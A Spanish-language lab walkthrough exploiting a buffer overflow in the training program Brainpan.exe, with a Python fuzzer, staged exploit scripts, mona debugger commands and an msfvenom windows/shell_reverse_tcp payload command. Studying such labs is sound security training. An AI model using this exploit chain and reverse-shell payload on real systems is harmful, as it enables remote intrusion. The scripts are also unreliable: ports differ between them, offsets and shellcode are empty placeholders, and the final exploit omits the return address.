Buffer Overflow
Lo necesario para realizar el laboratorio:
Mona = > Descargar
Es un script que permite facilitar la creación de exploits contra software vulnerables.
-
Immunity Debugger = > Descargar
Permite a los pentester realizar análisis de programas para descubrir vulnerabilidades y facilita el desarrollo de exploits.
-
Brainpan.exe = > Descargar
Programa vulnerable a OverFlow
-
Windows 10 = >
Maquina loca que permite hacer uso de la herramienta Immunity Debugger
-
Maquina local = >
Para general la conexión (Shellcode), exploit, etc (En mi caso Parrot).
Conceptos importantes:
EIP⇒
El puntero de instrucción extendida (EIP) en palabras simple EIP señala dónde debe ir para ejecutar el siguiente comando y controla el flujo de un programa.
-
ESP⇒
El puntero de pila extendida (ESP) es un registro que le permite saber en qué parte de la pila se encuentra y le permite enviar datos dentro y fuera de la aplicación.
-
NOP⇒
Si el flujo de ejecución de un programa encuentra una serie de instrucciones NOP, se "deslizará" linealmente hasta el final de ellas hasta la siguiente instrucción. Un NOP, en la arquitectura Intel x86, tiene un código de operación de 90, comúnmente visto en el código de explotación como \x90.
-
EBP⇒
Puntero base (EBP). Contiene las variables de los parámetros pasados a una subrutina, y se utiliza también para pasar argumentos a estructuras de datos.
-
\x41, \x42, \x43⇒
Los valores hexadecimales equivalente A, B y C. Para este ejercicio, no hay ningún beneficio en usar hex vs ascii.
Buffer
Un buffer es un área dentro de la memoria, donde se almacenan datos de forma temporal. Generalmente, estos se encuentran en la memoria RAM. Los buffer están diseñados para almacenar cantidades específicas de datos. A menos que, el programa que utiliza el buffer tenga instrucciones integradas para descartar datos cuando se envían demasiados al programa sobrescribirá los datos en la memoria adyacente al buffer.
Buffer Overflow
Cuando hablamos de un Buffer Overflow, ocurre cuando el programa que escribe datos en el buffer, sobrepasa la capacidad de este, llenando con más datos de los que el buffer puede manejar.
PROCESO DE OVERFLOW
- Configuración previa.
- Verificar donde el programa se bloquea con fuzzer.py
- Generando el exploit para EIP con exploit_1.py.
- Búsqueda de byte inválidos con exploit_2.py.
- Seleccionar el módulo.
- Creación de shellcode y acceso con exploit_3.py.
Configuración previa
Una vez instalado Immunity Debugger (le solicitara instalar python) y descargado mona.py en la maquina local de Windows 10 se debe guardar mona.py dentro de la carpeta PyCommands del programa Immunity Debugger para poder ser utilizado posteriormente.
!mona config -set workingfolder c:\\mona
Verificar donde se bloquea el programa con fuzzer.py
#!/usr/bin/python3
#fuzzer.py
import socket
# Conexion al objetivo
rhost = "target"
rport = 9999
# Datos a enviar:
payload = b"A" * 100
print("Verificar caida de overflow")
try:
while True:
print("bytes ==> " + str(len(payload)))
# Creacion del socket object TCP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexion al servicio
s.connect((rhost, rport))
# Envio del payload
s.send(payload + b"\n")
# Recepcion de los datos enviados por el server
data = s.recv(1024)
payload += b"A" * 100
except Exception as err:
print("Error: " + str(err))
Este valor es muy importante (700) por que define donde podemos entrar en el programa y manipular la memoria.
Ahora que sabemos la falla, debemos replicar está (700) dando un margen de 400 bytes desde nuestra maquina local. Se puede ejecutar de las siguientes manera:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Método 2:
Una vez obtenido el valor, lo agregamos a nuestro exploit_1.pypattern_create.rb -l 1000
Generando el exploit para EIP con exploit_1.py
#!/usr/bin/python3
import socket
rhost = "target"
rport = 9999
offset = b""
# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexion al servicio
print("Realizando Overflow")
s.connect((rhost, rport))
# Enviamos nuestro payload
s.send(offset + b"\n")
print("Operacion exitosa")
# Recibimos los datos de la comunicacion
data = s.recv(1024)
print(data)
👉NOTA: En Python3 es necesario enviar los datos como bytes, por eso se agrega la b antes de los strings.
👉NOTA: Antes de ejecutar el exploit, recuerda que se encuentra en pausa nuestro programa vulnerable, por lo cual debe nuevamente cargar y ejecutar en Immunity Debugger.
Volvemos al programa Imminity Debugger y notaras que se volvió a pausar el programa vulnerable, se puede apreciar el valor de EIP: 35724134 que marca la posición donde cae el programa.
Buscamos el valor donde cae el programa con mona, donde se puede realizar de tres manera: !mona findmsp -distance 1000
Método 3:
msf-pattern_offset -l 1000 -q 35724134
Resultado offset: 524 Búsqueda de bytes inválidos con exploit_2.py
!mona bytearray -b "\x00"
#!/usr/bin/python3
#exploit_2.py
import socket
rhost = "target"
rport = 1234
offset = 0
buffer = b"A" * offset
iep = b""
bytearray = b""
exploit = buffer + iep + bytearray
# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Conexion al servicio
s.connect((rhost, rport))
print("Realizando Overflow...")
# Enviamos nuestro payload
s.send(exploit + b"\n")
print("Operacion exitosa")
except:
print("No hay conexion con el objetivo")
Se puede apreciar en el registro el valor de ESP (005FF910), mediante el comando mona podemos visualizar los caracteres inválidos, que son necesarios para continuar con el exploit.
!mona compare -f c:\mona\bytearray.bin -a ESP
Seleccionar el módulo
!mona jmp -r esp
resultado = "0x311712f3"
modulo = "\xf3\x12\x17\x31\"
Creación de shellcode y acceso con exploit_3.py.
msfvenom -p windows/shell_reverse_tcp LHOST=tu_ip LPORT=1313
EXITFUNC=thread -b '\x00' -f python -v shell
nop = b"\x90" * 16
#!/usr/bin/python3
#exploit_3.py
import socket
rhost = "target"
rport = 9999
offset = 0
buffer = b"A" * offset
nop = b"\x90" * 16
bytearray = b""
shell = b""
exploit = buffer + bytearray + nop + shell
# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Conexion al servicio
s.connect((rhost, rport))
print("Realizando Overflow...")
# Enviamos nuestro payload
s.send(exploit + b"\n")
print("Operacion exitosa")
except:
print("No hay conexion con el objetivo")